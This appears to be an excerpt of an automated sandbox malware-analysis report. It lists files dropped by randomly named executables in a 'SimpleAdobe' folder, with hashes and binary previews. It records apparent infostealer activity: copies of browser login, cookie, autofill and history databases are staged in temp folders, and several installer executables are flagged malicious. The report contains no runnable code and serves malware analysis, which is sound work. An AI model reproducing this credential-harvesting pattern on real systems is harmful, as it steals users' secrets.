File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 38, cookie 0x1f, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	155648
Entropy (8bit):	0.5407252242845243
Encrypted:	false
SSDEEP:	96:OgWyejzH+bDoYysX0IxQzZkHtpVJNlYDLjGQLBE3CeE0kE:OJhH+bDo3iN0Z2TVJkXBBE3yb
MD5:	7B955D976803304F2C0505431A0CF1CF
SHA1:	E29070081B18DA0EF9D98D4389091962E3D37216
SHA-256:	987FB9BFC2A84C4C605DCB339D4935B52A969B24E70D6DEAC8946BA9A2B432DC
SHA-512:	CE2F1709F39683BE4131125BED409103F5EDF1DED545649B186845817C0D69E3D0B832B236F7C4FC09AB7F7BB88E7C9F1E4F7047D1AF56D429752D4D8CBED47A
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......&..................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidiIT8d9rZTEaOT\qiFLgMzFChh7Login Data

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\eQEIduvtZVhzsp4oDFOuc1gy.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidiIT8d9rZTEaOT\yfIt_uZiO8nXHistory

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 38, cookie 0x1f, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	155648
Entropy (8bit):	0.5407252242845243
Encrypted:	false
SSDEEP:	96:OgWyejzH+bDoYysX0IxQzZkHtpVJNlYDLjGQLBE3CeE0kE:OJhH+bDo3iN0Z2TVJkXBBE3yb
MD5:	7B955D976803304F2C0505431A0CF1CF
SHA1:	E29070081B18DA0EF9D98D4389091962E3D37216
SHA-256:	987FB9BFC2A84C4C605DCB339D4935B52A969B24E70D6DEAC8946BA9A2B432DC
SHA-512:	CE2F1709F39683BE4131125BED409103F5EDF1DED545649B186845817C0D69E3D0B832B236F7C4FC09AB7F7BB88E7C9F1E4F7047D1AF56D429752D4D8CBED47A
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......&..................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidij9k8gMFSuoDn\02zdBXl47cvzcookies.sqlite

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidij9k8gMFSuoDn\3b6N2Xdh3CYwplaces.sqlite

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.0357803477377646
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWwJU0VnQphI1mJ/8GJK:58r54w0VW3xWB0VaI4
MD5:	76D181A334D47872CD2E37135CC83F95
SHA1:	B563370B023073CE6E0F63671AA4AF169ABBF4E1
SHA-256:	52D831CC6F56C3A25EB9238AAF25348E1C4A3D361DFE7F99DB1D37D89A0057FD
SHA-512:	23E0D43E4785E5686868D5448628718720C5A8D9328EE814CB77807260F7CDA2D01C5DEE8F58B5713F4F09319E6CB7AB24725078C01322BAE04777418A49A9F7
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidij9k8gMFSuoDn\BjG4Pl6JQjVELogin Data For Account

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidij9k8gMFSuoDn\D87fZN3R3jFeplaces.sqlite

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.0357803477377646
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWwJU0VnQphI1mJ/8GJK:58r54w0VW3xWB0VaI4
MD5:	76D181A334D47872CD2E37135CC83F95
SHA1:	B563370B023073CE6E0F63671AA4AF169ABBF4E1
SHA-256:	52D831CC6F56C3A25EB9238AAF25348E1C4A3D361DFE7F99DB1D37D89A0057FD
SHA-512:	23E0D43E4785E5686868D5448628718720C5A8D9328EE814CB77807260F7CDA2D01C5DEE8F58B5713F4F09319E6CB7AB24725078C01322BAE04777418A49A9F7
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidij9k8gMFSuoDn\HCvTVe1NgSBhHistory

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 38, cookie 0x1f, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	155648
Entropy (8bit):	0.5407252242845243
Encrypted:	false
SSDEEP:	96:OgWyejzH+bDoYysX0IxQzZkHtpVJNlYDLjGQLBE3CeE0kE:OJhH+bDo3iN0Z2TVJkXBBE3yb
MD5:	7B955D976803304F2C0505431A0CF1CF
SHA1:	E29070081B18DA0EF9D98D4389091962E3D37216
SHA-256:	987FB9BFC2A84C4C605DCB339D4935B52A969B24E70D6DEAC8946BA9A2B432DC
SHA-512:	CE2F1709F39683BE4131125BED409103F5EDF1DED545649B186845817C0D69E3D0B832B236F7C4FC09AB7F7BB88E7C9F1E4F7047D1AF56D429752D4D8CBED47A
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......&..................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidij9k8gMFSuoDn\HryPooko75hJWeb Data

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidij9k8gMFSuoDn\HzdQqegxpmtrHistory

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.5394293526345721
Encrypted:	false
SSDEEP:	96:AquejzH+bF+UIYysX0IxQzh/tsV0NifLjLqLy0e9S8E:AqtH+bF+UI3iN0RSV0k3qLyj9
MD5:	52701A76A821CDDBC23FB25C3FCA4968
SHA1:	440D4B5A38AF50711C5E6C6BE22D80BC17BF32DE
SHA-256:	D602B4D0B3EB9B51535F6EBA33709DCB881237FA95C5072CB39CECF0E06A0AC4
SHA-512:	2653C8DB9C20207FA7006BC9C63142B7C356FB9DC97F9184D60C75D987DC0848A8159C239E83E2FC9D45C522FEAE8D273CDCD31183DED91B8B587596183FC000
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidij9k8gMFSuoDn\LRJpK9SeWJhaLogin Data

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidij9k8gMFSuoDn\LbDGYku8JXvhWeb Data

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidij9k8gMFSuoDn\kfeWYMIi4CWQHistory

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.5394293526345721
Encrypted:	false
SSDEEP:	96:AquejzH+bF+UIYysX0IxQzh/tsV0NifLjLqLy0e9S8E:AqtH+bF+UI3iN0RSV0k3qLyj9
MD5:	52701A76A821CDDBC23FB25C3FCA4968
SHA1:	440D4B5A38AF50711C5E6C6BE22D80BC17BF32DE
SHA-256:	D602B4D0B3EB9B51535F6EBA33709DCB881237FA95C5072CB39CECF0E06A0AC4
SHA-512:	2653C8DB9C20207FA7006BC9C63142B7C356FB9DC97F9184D60C75D987DC0848A8159C239E83E2FC9D45C522FEAE8D273CDCD31183DED91B8B587596183FC000
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidij9k8gMFSuoDn\mP5yYEcjBhvBHistory

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 38, cookie 0x1f, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	155648
Entropy (8bit):	0.5407252242845243
Encrypted:	false
SSDEEP:	96:OgWyejzH+bDoYysX0IxQzZkHtpVJNlYDLjGQLBE3CeE0kE:OJhH+bDo3iN0Z2TVJkXBBE3yb
MD5:	7B955D976803304F2C0505431A0CF1CF
SHA1:	E29070081B18DA0EF9D98D4389091962E3D37216
SHA-256:	987FB9BFC2A84C4C605DCB339D4935B52A969B24E70D6DEAC8946BA9A2B432DC
SHA-512:	CE2F1709F39683BE4131125BED409103F5EDF1DED545649B186845817C0D69E3D0B832B236F7C4FC09AB7F7BB88E7C9F1E4F7047D1AF56D429752D4D8CBED47A
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......&..................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidij9k8gMFSuoDn\oDIultRrWET4Login Data

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidij9k8gMFSuoDn\p4l2VSstkPgvCookies

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8508558324143882
Encrypted:	false
SSDEEP:	24:TLlF1kwNbXYFpFNYcw+6UwcQVXH5fBaJvWKC0ABndzGrW7swaE:TxFawNLopFgU10XJBaEKQxdgQsw
MD5:	933D6D14518371B212F36C3835794D75
SHA1:	92D056D912B3C0260D379330D3CC0359B57A322B
SHA-256:	55390EE61FB85370A8A7F51A8DD5374F7B1801D1D7DF09D6A90CDD74ED6E7D1E
SHA-512:	EAC706D8A579500EADA26FB9883E1F3CE9112A03F38EE78B11B393AB0A3285945F8E06EB406BFC17D1CB540F840E435E515FABFC265399CE6F5193980FDE3F2C
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidij9k8gMFSuoDn\sHSeu0ENSSCpWeb Data

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidij9k8gMFSuoDn\tQJ704vN3QqzWeb Data

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidij9k8gMFSuoDn\usZ44QsS0xAfWeb Data

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidij9k8gMFSuoDn\vJdJoHZ9lhrgCookies

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidij9k8gMFSuoDn\xBY6fKs6BzehWeb Data

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-7JMLT.tmp\is-P287H.tmp

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\TUBbflj40zqtNIEKWH_MWjeG.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	663552
Entropy (8bit):	6.468795027177811
Encrypted:	false
SSDEEP:	12288:XeuHnWgyrgVu4rPy37WzH0A6uaF4JNK3NFRvYNajlxp:uuHcrgVxrPy37WzH0A6uwkNKkKlxp
MD5:	813B26B63B6054C7B58D09F32E61AB18
SHA1:	C2013DE9EE6719AE5E6B02C67703FFB8F7DC3BE7
SHA-256:	988CE8EF5CD91646AFECC82E5254A4410D87F13E7E51F7ABC8502C7380952E8C
SHA-512:	2BE996564026C654A2058B842AF2D1A3B681BA845E7C4B4CF02969FB2E21A7E54916F61B735C13A5D7647ABB6F8054C56DF2A1FD309EE40640D5647771851F5C
Malicious:	true
Reputation:	unknown
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*..........................................@..............................................@.............................."%.......0...................................................@......................................................CODE....,........................... ..`DATA................................@...BSS.....T................................idata.."%.......&..................@....tls.........0...........................rdata.......@......................@..P.reloc.......P......................@..P.rsrc....0.......0..................@..P....................................@..P........................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-BMP08.tmp\_isetup\_RegDLL.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-7JMLT.tmp\is-P287H.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2048
Entropy (8bit):	3.958860502702431
Encrypted:	false
SSDEEP:	48:iBUZnkv1z1iyDuivJlEt/QJSquEMx5BC:+SIz1BqivJA/QMx5
MD5:	054EED91B90C8066725331381C056A0B
SHA1:	1A6ED65573F5F2E0664F32518B43B8B8CD7E14E0
SHA-256:	17DB74C713E0C12DF74245243E7A63E75815E4F4D6FD9FECA2D4D38041DD6EF0
SHA-512:	89FC23CDD9FC5DC61FDF5A3BBC902FF3B2D5E609F331E10CF4C4C76DDCDA3C69D1EC23FF6705A3855FF0290B0CF926328A7490A36EA39CA8729E657E55271A18
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......Y$...E...E...E...J..E...E...E..:...E..:...E..Rich.E..................PE..L.....D..................................... ....@..........................0..............................................d ..<.................................................................................... ..<............................text............................... ..`.rdata....... ......................@..@........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-BMP08.tmp\_isetup\_iscrypt.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-7JMLT.tmp\is-P287H.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2560
Entropy (8bit):	2.8818118453929262
Encrypted:	false
SSDEEP:	24:e1GSgDIX566lIB6SXvVmMPUjvhBrDsqZ:SgDKRlVImgUNBsG
MD5:	A69559718AB506675E907FE49DEB71E9
SHA1:	BC8F404FFDB1960B50C12FF9413C893B56F2E36F
SHA-256:	2F6294F9AA09F59A574B5DCD33BE54E16B39377984F3D5658CDA44950FA0F8FC
SHA-512:	E52E0AA7FE3F79E36330C455D944653D449BA05B2F9ABEE0914A0910C3452CFA679A40441F9AC696B3CCF9445CBB85095747E86153402FC362BB30AC08249A63
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........W.c.W.c.W.c...>.T.c.W.b.V.c.R.<.V.c.R.?.V.c.R.9.V.c.RichW.c.........................PE..L....b.@...........!......................... ...............................@......................................p ..}.... ..(............................0....................................................... ...............................text............................... ..`.rdata....... ......................@..@.reloc.......0......................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-BMP08.tmp\_isetup\_setup64.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-7JMLT.tmp\is-P287H.tmp
File Type:	PE32+ executable (console) x86-64, for MS Windows
